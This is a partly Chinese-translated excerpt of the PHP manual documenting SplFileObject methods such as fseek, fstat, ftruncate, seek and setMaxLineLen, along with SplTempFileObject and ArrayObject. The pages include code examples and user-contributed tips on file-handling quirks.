  • D 代表十进制数字。
  • i stands for integer with base detection.
  • n 代表到目前为止处理的字符数。
  • s 在任何空白字符处停止阅读。
  • * 代替 argnum$ 禁止分配此转换规范。

vars

The optional assigned values.

返回值

If only one parameter is passed to this method, the values parsed will be returned as an array. Otherwise, if optional parameters are passed, the function will return the number of assigned values. The optional parameters must be passed by reference.

示例

Example #1 SplFileObject::fscanf() example

<?php
$file = new SplFileObject("misc.txt");
while ($userinfo = $file->fscanf("%s %s %s")) {
list ($name, $profession, $countrycode) = $userinfo;
// Do something with $name $profession $countrycode
}
?>

Contents of users.txt

javier   argonaut    pe
hiroshi  sculptor    jp
robert   slacker     us
luigi    florist     it

参见

  • fscanf() - 从文件中格式化输入
  • sscanf() - 根据指定格式解析输入的字符
  • printf() - 输出格式化字符串
  • sprintf() - 返回格式化字符串

User Contributed Notes

There are no user contributed notes for this page.


Seek to a position

  • ? SplFileObject::fscanf
  • SplFileObject::fstat ?
  • PHP Manual
  • SplFileObject
  • Seek to a position

SplFileObject::fseek

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::fseek — Seek to a position

说明

public SplFileObject::fseek(int $offset, int $whence = SEEK_SET): int

Seek to a position in the file measured in bytes from the beginning of the file, obtained by adding offset to the position specified by whence.

参数

offset

The offset. A negative value can be used to move backwards through the file which is useful when SEEK_END is used as the whence value.

whence

whence values are:

  • SEEK_SET - Set position equal to offset bytes.
  • SEEK_CUR - Set position to current location plus offset.
  • SEEK_END - Set position to end-of-file plus offset.

If whence is not specified, it is assumed to be SEEK_SET.

返回值

Returns 0 if the seek was successful, -1 otherwise. Note that seeking past EOF is not considered an error.

示例

Example #1 SplFileObject::fseek() example

<?php
$file = new SplFileObject("somefile.txt");

// Read first line
$data = $file->fgets();

// Move back to the beginning of the file
// Same as $file->rewind();
$file->fseek(0);
?>

参见

  • fseek() - 在文件指针中定位

User Contributed Notes

There are no user contributed notes for this page.


Gets information about the file

  • ? SplFileObject::fseek
  • SplFileObject::ftell ?
  • PHP Manual
  • SplFileObject
  • Gets information about the file

SplFileObject::fstat

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::fstat — Gets information about the file

说明

public SplFileObject::fstat(): array

Gathers the statistics of the file. Behaves identically to fstat().

参数

此函数没有参数。

返回值

Returns an array with the statistics of the file; the format of the array is described in detail on the stat() manual page.

示例

Example #1 SplFileObject::fstat() example

<?php
$file = new SplFileObject("/etc/passwd");
$stat = $file->fstat();

// Print only the associative part
print_r(array_slice($stat, 13));

?>

以上示例的输出类似于：

Array
(
    [dev] => 771
    [ino] => 488704
    [mode] => 33188
    [nlink] => 1
    [uid] => 0
    [gid] => 0
    [rdev] => 0
    [size] => 1114
    [atime] => 1061067181
    [mtime] => 1056136526
    [ctime] => 1056136526
    [blksize] => 4096
    [blocks] => 8
)

参见

  • fstat() - 通过已打开的文件指针取得文件信息
  • stat() - 给出文件的信息

User Contributed Notes

There are no user contributed notes for this page.


Return current file position

  • ? SplFileObject::fstat
  • SplFileObject::ftruncate ?
  • PHP Manual
  • SplFileObject
  • Return current file position

SplFileObject::ftell

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::ftell — Return current file position

说明

public SplFileObject::ftell(): int|false

Returns the position of the file pointer which represents the current offset in the file stream.

参数

此函数没有参数。

返回值

Returns the position of the file pointer as an integer, or false on error.

示例

Example #1 SplFileObject::ftell() example

<?php
$file = new SplFileObject("/etc/passwd");

// Read first line
$data = $file->fgets();

// Where are we?
echo $file->ftell();
?>

参见

  • ftell() - 返回文件指针读/写的位置

User Contributed Notes

There are no user contributed notes for this page.


Truncates the file to a given length

  • ? SplFileObject::ftell
  • SplFileObject::fwrite ?
  • PHP Manual
  • SplFileObject
  • Truncates the file to a given length

SplFileObject::ftruncate

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::ftruncate — Truncates the file to a given length

说明

public SplFileObject::ftruncate(int $size): bool

Truncates the file to size bytes.

参数

size

The size to truncate to.

Note:

If size is larger than the file it is extended with null bytes.

If size is smaller than the file, the extra data will be lost.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SplFileObject::ftruncate() example

<?php
// Create file containing "Hello World!"
$file = new SplFileObject("/tmp/ftruncate", "w+");
$file->fwrite("Hello World!");

// Truncate to 5 bytes
$file->ftruncate(5);

// Rewind and read data
$file->rewind();
echo $file->fgets();
?>

以上示例的输出类似于：

Hello

参见

  • ftruncate() - 将文件截断到指定的长度

User Contributed Notes

irvinezega at hotmail dot com 22-Aug-2018 05:53
I suppose a fair number of us know this:

However, for those who don't:-

If you are truncating a file, say, to $fileObject->ftruncate(0), then, it may be advisable to call $fileObject->fseek(0) first (before you call '$fileObject->ftruncate').

On inspection, I was encountering 'NULL' characters at the beginning of a, or the, file.

Hence, from what I have surmised; when 'ftruncate()' is called, the file pointer does NOT move to the beginning (or, at least, the required position) of the file.

This issue cost me a fair amount of time to figure out, so I hope it helps someone.


Write to file

  • ? SplFileObject::ftruncate
  • SplFileObject::getChildren ?
  • PHP Manual
  • SplFileObject
  • Write to file

SplFileObject::fwrite

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::fwrite — Write to file

说明

public SplFileObject::fwrite(string $data, int $length = 0): int|false

Writes the contents of string to the file

参数

data

The string to be written to the file.

length

If the length argument is given, writing will stop after length bytes have been written or the end of string is reached, whichever comes first.

返回值

Returns the number of bytes written, or false on error.

更新日志

版本 | 说明
7.4.0 | The function now returns false instead of zero on failure.

示例

Example #1 SplFileObject::fwrite() example

<?php
$file = new SplFileObject("fwrite.txt", "w");
$written = $file->fwrite("12345");
echo "Wrote $written bytes to file";
?>

以上示例的输出类似于：

Wrote 5 bytes to file

参见

  • fwrite() - 写入文件（可安全用于二进制文件）

User Contributed Notes

bas dot hilbers at tribal-im dot com 07-Nov-2013 12:47
Your \SplFileObject will not throw an exception when trying to write to a non-writeable stream!

I forgot to set the second parameter on my \SplFileObject constructor (the mode), costing me minutes to figure out why nothing was writter by the fwrite method...

Just to let you know!


No purpose

  • ? SplFileObject::fwrite
  • SplFileObject::getCsvControl ?
  • PHP Manual
  • SplFileObject
  • No purpose

SplFileObject::getChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::getChildren — No purpose

说明

public SplFileObject::getChildren(): null

An SplFileObject does not have children so this method returns null.

参数

此函数没有参数。

返回值

Returns null.

参见

  • RecursiveIterator::getChildren() - Returns an iterator for the current entry

User Contributed Notes

There are no user contributed notes for this page.


Get the delimiter, enclosure and escape character for CSV

  • ? SplFileObject::getChildren
  • SplFileObject::getCurrentLine ?
  • PHP Manual
  • SplFileObject
  • Get the delimiter, enclosure and escape character for CSV

SplFileObject::getCsvControl

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

SplFileObject::getCsvControl — Get the delimiter, enclosure and escape character for CSV

说明

public SplFileObject::getCsvControl(): array

Gets the delimiter, enclosure and escape character used for parsing CSV fields.

参数

此函数没有参数。

返回值

Returns an indexed array containing the delimiter, enclosure and escape character.

更新日志

版本 | 说明
7.4.0 | The escape character can now be an empty string.
7.0.10 | Added the escape character to the returned array.

示例

Example #1 SplFileObject::getCsvControl() example

<?php
$file = new SplFileObject("data.txt");
print_r($file->getCsvControl());
?>

以上示例的输出类似于：

Array
(
    [0] => ,
    [1] => "
    [2] => \
)

参见

  • SplFileObject::setCsvControl() - Set the delimiter, enclosure and escape character for CSV
  • SplFileObject::fgetcsv() - Gets line from file and parse as CSV fields

User Contributed Notes

faure dot daniel dot 57 at gmail dot com 14-Oct-2021 05:31
Given an absolute path to a CSV or any text file and a list of possible delimiters and assuming lines are up to 4096 characters long, I use

<?php
function guess_delimiter($file, $delimiters=[',',';'])
{
  $h = fopen($file,'r');
    $count = [];
    foreach ($delimiters as $del) {
      $count[$del] = 0;
      while (($bufer = fgets($h, 4096)) !== false) {
        $count[$del]+=substr_count($bufer, $del);
      }
      rewind($h);
    }
    fclose($h);
    return array_search(max($count), $count);
}
greg dot bowler at g105b dot com 06-Feb-2015 05:47
Note that this function does not magically guess the CSV control from a given file, rather it returns what has been priorly set with SplFileObject::setCsvControl().
Anonymous 11-Sep-2013 02:07
Seems that this function always returns the same delimiter.

<?php
file_put_contents("A;B;C;D\n0;0;0;0", "test.txt");

$file = new SplFileObject("test.txt");
var_dump($file->getCsvControl());
?>

array(2) {
  [0]=>
  string(1) ","
  [1]=>
  string(1) """
}


别名 SplFileObject::fgets

  • ? SplFileObject::getCsvControl
  • SplFileObject::getFlags ?
  • PHP Manual
  • SplFileObject
  • 别名 SplFileObject::fgets

SplFileObject::getCurrentLine

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileObject::getCurrentLine — 别名 SplFileObject::fgets()

说明

此方法是该方法的别名： SplFileObject::fgets().

User Contributed Notes

There are no user contributed notes for this page.


Gets flags for the SplFileObject

  • ? SplFileObject::getCurrentLine
  • SplFileObject::getMaxLineLen ?
  • PHP Manual
  • SplFileObject
  • Gets flags for the SplFileObject

SplFileObject::getFlags

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::getFlags — Gets flags for the SplFileObject

说明

public SplFileObject::getFlags(): int

Gets the flags set for an instance of SplFileObject as an int.

参数

此函数没有参数。

返回值

Returns an int representing the flags.

示例

Example #1 SplFileObject::getFlags() example

<?php
$file = new SplFileObject(__FILE__, "r");

if ($file->getFlags() & SplFileObject::SKIP_EMPTY) {
echo "Skipping empty lines\n";
} else {
echo "Not skipping empty lines\n";
}

$file->setFlags(SplFileObject::SKIP_EMPTY);

if ($file->getFlags() & SplFileObject::SKIP_EMPTY) {
echo "Skipping empty lines\n";
} else {
echo "Not skipping empty lines\n";
}
?>

以上示例的输出类似于：

Not skipping empty lines
Skipping empty lines

参见

  • SplFileObject::setFlags() - Sets flags for the SplFileObject

User Contributed Notes

There are no user contributed notes for this page.


Get maximum line length

  • ? SplFileObject::getFlags
  • SplFileObject::hasChildren ?
  • PHP Manual
  • SplFileObject
  • Get maximum line length

SplFileObject::getMaxLineLen

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::getMaxLineLen — Get maximum line length

说明

public SplFileObject::getMaxLineLen(): int

Gets the maximum line length as set by SplFileObject::setMaxLineLen().

参数

此函数没有参数。

返回值

Returns the maximum line length if one has been set with SplFileObject::setMaxLineLen(), default is 0.

示例

Example #1 SplFileObject::getMaxLineLen() example

<?php
$file = new SplFileObject("file.txt");
var_dump($file->getMaxLineLen());

$file->setMaxLineLen(20);
var_dump($file->getMaxLineLen());
?>

以上示例的输出类似于：

int(0)
int(20)

参见

  • SplFileObject::setMaxLineLen() - Set maximum line length

User Contributed Notes

There are no user contributed notes for this page.


SplFileObject does not have children

  • ? SplFileObject::getMaxLineLen
  • SplFileObject::key ?
  • PHP Manual
  • SplFileObject
  • SplFileObject does not have children

SplFileObject::hasChildren

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileObject::hasChildren — SplFileObject does not have children

说明

public SplFileObject::hasChildren(): false

An SplFileObject does not have children so this method always return false.

参数

此函数没有参数。

返回值

Returns false

参见

  • RecursiveIterator::hasChildren() - Returns if an iterator can be created for the current entry

User Contributed Notes

There are no user contributed notes for this page.


Get line number

  • ? SplFileObject::hasChildren
  • SplFileObject::next ?
  • PHP Manual
  • SplFileObject
  • Get line number

SplFileObject::key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::key — Get line number

说明

public SplFileObject::key(): int

Gets the current line number.

Note:

This number may not reflect the actual line number in the file if SplFileObject::setMaxLineLen() is used to read fixed lengths of the file.

参数

此函数没有参数。

返回值

Returns the current line number.

示例

Example #1 SplFileObject::key() example

<?php
$file = new SplFileObject("lipsum.txt");
foreach ($file as $line) {
echo $file->key() . ". " . $line;
}
?>

以上示例的输出类似于：

0. Lorem ipsum dolor sit amet, consectetur adipiscing elit.
1. Duis nec sapien felis, ac sodales nisl.
2. Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Example #2 SplFileObject::key() example with SplFileObject::setMaxLineLen()

<?php
$file = new SplFileObject("lipsum.txt");
$file->setMaxLineLen(20);
foreach ($file as $line) {
echo $file->key() . ". " . $line . "\n";
}
?>

以上示例的输出类似于：

0. Lorem ipsum dolor s
1. it amet, consectetu
2. r adipiscing elit.
3.

4. Duis nec sapien fel
5. is, ac sodales nisl
6. .

7. Lorem ipsum dolor s
8. it amet, consectetu
9. r adipiscing elit.

参见

  • SplFileObject::current() - Retrieve current line of file
  • SplFileObject::seek() - Seek to specified line
  • SplFileObject::next() - Read next line
  • SplFileObject::rewind() - Rewind the file to the first line
  • SplFileObject::valid() - Not at EOF

User Contributed Notes

xzero at elite7hackers dot net 07-Aug-2020 07:35
Another gotcha that is not mentioned: If you have flag SKIP_EMPTY set, then key() will not reflect actual line numbers as empty lines are not accounted.


Read next line

  • ? SplFileObject::key
  • SplFileObject::rewind ?
  • PHP Manual
  • SplFileObject
  • Read next line

SplFileObject::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::next — Read next line

说明

public SplFileObject::next(): void

Moves ahead to the next line in the file.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 SplFileObject::next() example

<?php
// Read through file line by line
$file = new SplFileObject("misc.txt");
while (!$file->eof()) {
echo $file->current();
$file->next();
}
?>

参见

  • SplFileObject::current() - Retrieve current line of file
  • SplFileObject::key() - Get line number
  • SplFileObject::seek() - Seek to specified line
  • SplFileObject::rewind() - Rewind the file to the first line
  • SplFileObject::valid() - Not at EOF

User Contributed Notes

quijote dot shin at gmail dot com 21-May-2017 09:03
As @Jonnycake  pointed there is no documentation about the following behavior of  next();

You need to call current() to really move forward without the need of a source loop.

Be:
<?php
$file = new SplFileObject("file.txt");

echo PHP_EOL . $file->current();
$file->next();
 $file->next();
 $file->next();
echo PHP_EOL . $file->current(); // 2nd line of the file

?>

<?php
$file = new SplFileObject("file.txt");

echo PHP_EOL . $file->current();
$file->next(); $file->current();
$file->next(); $file->current();
$file->next();
echo PHP_EOL . $file->current(); // be the 4th line of the file

?>

Honestly, I don't know if it is  waste of memory and/or CPU .
Jonnycake 02-Dec-2014 05:53
Quick note when using next(), it appears that you have to already be at the end of the line in order for it to hop to the next one.  I realized this while attempting to do a lineCount implementaiton like the following:

<?php
  function lineCount($file)
  {
     $x=0;
     while(!$file->eof()) {
          $x++;
          $file->next();
     }
     return $x;
  }
  $file=new SplFileObject("something");
  echo lineCount($file);
?>

It ended up in an infinite loop.  The solution was to just call fgets()/current() in the loop, although it wasn't being used anywhere so the following works:

<?php
  function lineCount($file)
  {
     $x=0;
     while(!$file->eof()) {
          $file->current();
          $x++;
          $file->next();
     }
     return $x;
  }
  $file=new SplFileObject("something");
  echo lineCount($file);
?>


Rewind the file to the first line

  • ? SplFileObject::next
  • SplFileObject::seek ?
  • PHP Manual
  • SplFileObject
  • Rewind the file to the first line

SplFileObject::rewind

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::rewind — Rewind the file to the first line

说明

public SplFileObject::rewind(): void

Rewinds the file back to the first line.

参数

此函数没有参数。

返回值

没有返回值。

错误／异常

Throws a RuntimeException if cannot be rewound.

示例

Example #1 SplFileObject::rewind() example

<?php
$file = new SplFileObject("misc.txt");

// Loop over whole file
foreach ($file as $line) { }

// Rewind to first line
$file->rewind();

// Output first line
echo $file->current();
?>

参见

  • SplFileObject::current() - Retrieve current line of file
  • SplFileObject::key() - Get line number
  • SplFileObject::seek() - Seek to specified line
  • SplFileObject::next() - Read next line
  • SplFileObject::valid() - Not at EOF

User Contributed Notes

There are no user contributed notes for this page.


Seek to specified line

  • ? SplFileObject::rewind
  • SplFileObject::setCsvControl ?
  • PHP Manual
  • SplFileObject
  • Seek to specified line

SplFileObject::seek

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::seek — Seek to specified line

说明

public SplFileObject::seek(int $line): void

Seek to specified line in the file.

参数

line

The zero-based line number to seek to.

返回值

没有返回值。

错误／异常

Throws a LogicException if the line is negative.

示例

Example #1 SplFileObject::seek() example

This example outputs the third line of the script which is found at position 2.

<?php
$file = new SplFileObject(__FILE__);
$file->seek(2);
echo $file->current();
?>

以上示例的输出类似于：

$file->seek(2);

参见

  • SplFileObject::current() - Retrieve current line of file
  • SplFileObject::key() - Get line number
  • SplFileObject::next() - Read next line
  • SplFileObject::rewind() - Rewind the file to the first line
  • SplFileObject::valid() - Not at EOF

User Contributed Notes

info at inatica dot com 26-Aug-2021 12:02
there is a bug using fseek on previos versions of PHP8.0.1
See:

https://bugs.php.net/bug.php?id=46569

https://3v4l.org/O89dJ

I solved it with a function:

<?php
/**
* SEEK an Spl object
* There is a bug in php for seeking files
* seems solved php_version > PHP8.0.1
* See https://bugs.php.net/bug.php?id=46569
* & https://3v4l.org/O89dJ
*
* $Spl->seek() Works ok in all versions with offset 0 (first row)
* On PHP_VERSION < 8.0.1:
*  - Offset 1: seek() cannot seek at row 1. It will be done manually, rewind file and reading first row
*  - Rest of Offsets: The cursor remains at next row of $Offset
*
* @param SplObject $Spl
* @param int $Offset
*/

function seek_spl($Spl, $Offset){
    if (version_compare(PHP_VERSION, '8.0.1', '>=') || $Offset == 0) {
        $Spl->seek($Offset);
    } else {
        if( $Offset == 1 ){
            $Spl->rewind(); // Ensure to go at first row before exit
            $Spl->fgets(); // Read line 0. Cursor remains now at line 1
        } else {
            $Spl->seek($Offset-1);
        }
    }
}?>
ahmad_maqsood at waku-2 dot com 21-Sep-2017 09:19
A sleek way of counting the number of lines in a file can be like below

$file = new \SplFileObject('file.extension', 'r');
$file->seek(PHP_INT_MAX);

echo $file->key() + 1;


Set the delimiter, enclosure and escape character for CSV

  • ? SplFileObject::seek
  • SplFileObject::setFlags ?
  • PHP Manual
  • SplFileObject
  • Set the delimiter, enclosure and escape character for CSV

SplFileObject::setCsvControl

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

SplFileObject::setCsvControl — Set the delimiter, enclosure and escape character for CSV

说明

public SplFileObject::setCsvControl(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): void

Sets the delimiter, enclosure and escape character for parsing CSV fields.

参数

separator

The field delimiter (one single-byte character only).

enclosure

The field enclosure character (one single-byte character only).

escape

The field escape character (at most one single-byte character). An empty string ("") disables the proprietary escape mechanism.

返回值

没有返回值。

更新日志

版本 | 说明
7.4.0 | The escape parameter now also accepts an empty string to disable the proprietary escape mechanism.

示例

Example #1 SplFileObject::setCsvControl() example

<?php
$file = new SplFileObject("data.csv");
$file->setFlags(SplFileObject::READ_CSV);
$file->setCsvControl('|');
foreach ($file as $row) {
list ($fruit, $quantity) = $row;
// Do something with values
}
?>

Contents of data.csv

<?php
apples|20
bananas|14
cherries|87
?>

参见

  • SplFileObject::getCsvControl() - Get the delimiter, enclosure and escape character for CSV
  • SplFileObject::fgetcsv() - Gets line from file and parse as CSV fields

User Contributed Notes

There are no user contributed notes for this page.


Sets flags for the SplFileObject

  • ? SplFileObject::setCsvControl
  • SplFileObject::setMaxLineLen ?
  • PHP Manual
  • SplFileObject
  • Sets flags for the SplFileObject

SplFileObject::setFlags

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::setFlags — Sets flags for the SplFileObject

说明

public SplFileObject::setFlags(int $flags): void

Sets the flags to be used by the SplFileObject.

参数

flags

Bit mask of the flags to set. See SplFileObject constants for the available flags.

返回值

没有返回值。

示例

Example #1 SplFileObject::setFlags() example

<?php
$file = new SplFileObject("data.csv");
$file->setFlags(SplFileObject::READ_CSV);
foreach ($file as $fields) {
var_dump($fields);
}
?>

参见

  • SplFileObject::getFlags() - Gets flags for the SplFileObject

User Contributed Notes

There are no user contributed notes for this page.


Set maximum line length

  • ? SplFileObject::setFlags
  • SplFileObject::__toString ?
  • PHP Manual
  • SplFileObject
  • Set maximum line length

SplFileObject::setMaxLineLen

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::setMaxLineLen — Set maximum line length

说明

public SplFileObject::setMaxLineLen(int $maxLength): void

Sets the maximum length of a line to be read.

参数

maxLength

The maximum length of a line.

返回值

没有返回值。

错误／异常

Throws DomainException when maxLength is less than zero.

示例

Example #1 SplFileObject::setMaxLineLen() example

<?php
$file = new SplFileObject("lipsum.txt");
$file->setMaxLineLen(20);
foreach ($file as $line) {
echo $line . "\n";
}
?>

Contents of lipsum.txt

Lorem ipsum dolor sit amet, consectetur adipiscing elit.
Duis nec sapien felis, ac sodales nisl.
Nulla vitae magna vitae purus aliquet consequat.

以上示例的输出类似于：

Lorem ipsum dolor s
it amet, consectetu
r adipiscing elit.

Duis nec sapien fel
is, ac sodales nisl
.

Nulla vitae magna v
itae purus aliquet
consequat.

参见

  • SplFileObject::getMaxLineLen() - Get maximum line length

User Contributed Notes

There are no user contributed notes for this page.


Returns the current line as a string

  • ? SplFileObject::setMaxLineLen
  • SplFileObject::valid ?
  • PHP Manual
  • SplFileObject
  • Returns the current line as a string

SplFileObject::__toString

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::__toString — Returns the current line as a string

说明

public SplFileObject::__toString(): string

This method will return the current line as a string.

参数

此函数没有参数。

返回值

Returns the current line as a string.

更新日志

版本 | 说明
8.1.14, 8.2.1 | Changed from an alias of SplFileObject::fgets() to an implementation of SplFileObject::current() which returns a CSV string when the SplFileObject::READ_CSV flag is set.
7.2.19, 7.3.6 | Changed from an alias of SplFileObject::current() to an alias of SplFileObject::fgets().

User Contributed Notes

Anonymous 16-Oct-2018 11:36
Please note that the __toString() method is just an alias, as pointed out above, and that THAT method may return an array instead of a string. So in effect you might call a __toString() and expect a string, but instead receive an array.


Not at EOF

  • ? SplFileObject::__toString
  • SplTempFileObject ?
  • PHP Manual
  • SplFileObject
  • Not at EOF

SplFileObject::valid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::valid — Not at EOF

说明

public SplFileObject::valid(): bool

Check whether EOF has been reached.

参数

此函数没有参数。

返回值

Returns true if not reached EOF, false otherwise.

示例

Example #1 SplFileObject::valid() example

<?php
// Loop over a file, line by line
$file = new SplFileObject("file.txt");
while ($file->valid()) {
echo $file->fgets();
}
?>

参见

  • SplFileObject::current() - Retrieve current line of file
  • SplFileObject::key() - Get line number
  • SplFileObject::seek() - Seek to specified line
  • SplFileObject::next() - Read next line
  • SplFileObject::rewind() - Rewind the file to the first line

User Contributed Notes

There are no user contributed notes for this page.


The SplTempFileObject class

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

简介

The SplTempFileObject class offers an object-oriented interface for a temporary file.

类摘要

class SplTempFileObject extends SplFileObject {
/* 继承的常量 */
public const int SplFileObject::DROP_NEW_LINE;
public const int SplFileObject::READ_AHEAD;
public const int SplFileObject::SKIP_EMPTY;
public const int SplFileObject::READ_CSV;
/* 方法 */
public __construct(int $maxMemory = 2 * 1024 * 1024)
/* 继承的方法 */
public SplFileObject::current(): string|array|false
public SplFileObject::eof(): bool
public SplFileObject::fflush(): bool
public SplFileObject::fgetc(): string|false
public SplFileObject::fgetcsv(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): array|false
public SplFileObject::fgets(): string
public SplFileObject::fgetss(string $allowable_tags = ?): string
public SplFileObject::flock(int $operation, int &$wouldBlock = null): bool
public SplFileObject::fpassthru(): int
public SplFileObject::fputcsv(
array $fields,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\",
string $eol = "\n"
): int|false
public SplFileObject::fread(int $length): string|false
public SplFileObject::fscanf(string $format, mixed &...$vars): array|int|null
public SplFileObject::fseek(int $offset, int $whence = SEEK_SET): int
public SplFileObject::fstat(): array
public SplFileObject::ftell(): int|false
public SplFileObject::ftruncate(int $size): bool
public SplFileObject::fwrite(string $data, int $length = 0): int|false
public SplFileObject::getChildren(): null
public SplFileObject::getCsvControl(): array
public SplFileObject::getFlags(): int
public SplFileObject::getMaxLineLen(): int
public SplFileObject::hasChildren(): false
public SplFileObject::key(): int
public SplFileObject::next(): void
public SplFileObject::rewind(): void
public SplFileObject::seek(int $line): void
public SplFileObject::setCsvControl(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): void
public SplFileObject::setFlags(int $flags): void
public SplFileObject::setMaxLineLen(int $maxLength): void
public SplFileObject::__toString(): string
public SplFileObject::valid(): bool
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

Table of Contents

  • SplTempFileObject::__construct — Construct a new temporary file object

User Contributed Notes

Steve 16-Oct-2023 09:08
Since a temporary file is not a real file, some inherited methods will not work. For example,

* SplFileInfo::isReadable() and SplFileInfo::isWritable() return false, not because it was unreadable or unwritable, but because the file does not exists.

* SplFileObject::flock() fails and returns false.

* SplFileInfo::getATime(), SplFileInfo::getCTime(), SplFileInfo::getMTime(), SplFileInfo::getOwner(), SplFileInfo::getGroup(), SplFileInfo::getInode(), SplFileInfo::getPerms(), and SplFileInfo::getSize() throw RuntimeException "stat failed for php://temp". However, SplFileObject::fstat() succeeds and returns atime = mtime = ctime = uid = gid = ino = 0 together with the correct size.

* SplFileInfo::getType throws RuntimeException "Lstat failed for php://temp".

* SplFileInfo::getLinkTarget throws RuntimeException "Unable to read link php://temp, error: No such file or directory".


Construct a new temporary file object

  • ? SplTempFileObject
  • 各种类及接口 ?
  • PHP Manual
  • SplTempFileObject
  • Construct a new temporary file object

SplTempFileObject::__construct

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplTempFileObject::__construct — Construct a new temporary file object

说明

public SplTempFileObject::__construct(int $maxMemory = 2 * 1024 * 1024)

Construct a new temporary file object.

参数

maxMemory

The maximum amount of memory (in bytes, default is 2 MB) for the temporary file to use. If the temporary file exceeds this size, it will be moved to a file in the system's temp directory.

If maxMemory is negative, only memory will be used. If maxMemory is zero, no memory will be used.

错误／异常

Throws a RuntimeException if an error occurs.

示例

Example #1 SplTempFileObject() example

This example writes a temporary file in memory which can be written to and read from.

<?php
$temp = new SplTempFileObject();
$temp->fwrite("This is the first line\n");
$temp->fwrite("And this is the second.\n");
echo "Written " . $temp->ftell() . " bytes to temporary file.\n\n";

// Rewind and read what was written
$temp->rewind();
foreach ($temp as $line) {
echo $line;
}
?>

以上示例的输出类似于：

Written 47 bytes to temporary file.

This is the first line
And this is the second.

参见

  • SplFileObject
  • PHP input/output streams (for php://temp and php://memory)

User Contributed Notes

larry dot laski at gmail dot com 15-May-2015 03:46
Noting that when the tmp file exceeds memory limitations and is written to the system temp directory, it is deleted upon completion of the script it was initially created in. At least that is what I have seen and wanted to document for others since it wasn't clear.


各种类及接口

Table of Contents

  • ArrayObject
  • SplObserver
  • SplSubject

无法归入其它 SPL 分类的类和接口。

User Contributed Notes

There are no user contributed notes for this page.


The ArrayObject class

(PHP 5, PHP 7, PHP 8)

简介

This class allows objects to work as arrays.

类摘要

class ArrayObject implements IteratorAggregate, ArrayAccess, Serializable, Countable {
/* 常量 */
const int STD_PROP_LIST;
const int ARRAY_AS_PROPS;
/* 方法 */
public __construct(array|object $array = [], int $flags = 0, string $iteratorClass = ArrayIterator::class)
public append(mixed $value): void
public asort(int $flags = SORT_REGULAR): true
public count(): int
public exchangeArray(array|object $array): array
public getArrayCopy(): array
public getFlags(): int
public getIterator(): Iterator
public getIteratorClass(): string
public ksort(int $flags = SORT_REGULAR): true
public natcasesort(): true
public natsort(): true
public offsetExists(mixed $key): bool
public offsetGet(mixed $key): mixed
public offsetSet(mixed $key, mixed $value): void
public offsetUnset(mixed $key): void
public serialize(): string
public setFlags(int $flags): void
public setIteratorClass(string $iteratorClass): void
public uasort(callable $callback): true
public uksort(callable $callback): true
public unserialize(string $data): void
}

预定义常量

ArrayObject Flags

ArrayObject::STD_PROP_LIST

Properties of the object have their normal functionality when accessed as list (var_dump, foreach, etc.).

ArrayObject::ARRAY_AS_PROPS

Entries can be accessed as properties (read and write). The ArrayObject class uses its own logic to access properties, thus no warning or error is raised when trying to read or write dynamic properties.

Table of Contents

  • ArrayObject::append — 追加新的值作为最后一个元素。
  • ArrayObject::asort — Sort the entries by value
  • ArrayObject::__construct — Construct a new array object
  • ArrayObject::count — 统计 ArrayObject 内 public 属性的数量
  • ArrayObject::exchangeArray — Exchange the array for another one
  • ArrayObject::getArrayCopy — Creates a copy of the ArrayObject
  • ArrayObject::getFlags — Gets the behavior flags
  • ArrayObject::getIterator — Create a new iterator from an ArrayObject instance
  • ArrayObject::getIteratorClass — Gets the iterator classname for the ArrayObject
  • ArrayObject::ksort — Sort the entries by key
  • ArrayObject::natcasesort — Sort an array using a case insensitive "natural order" algorithm
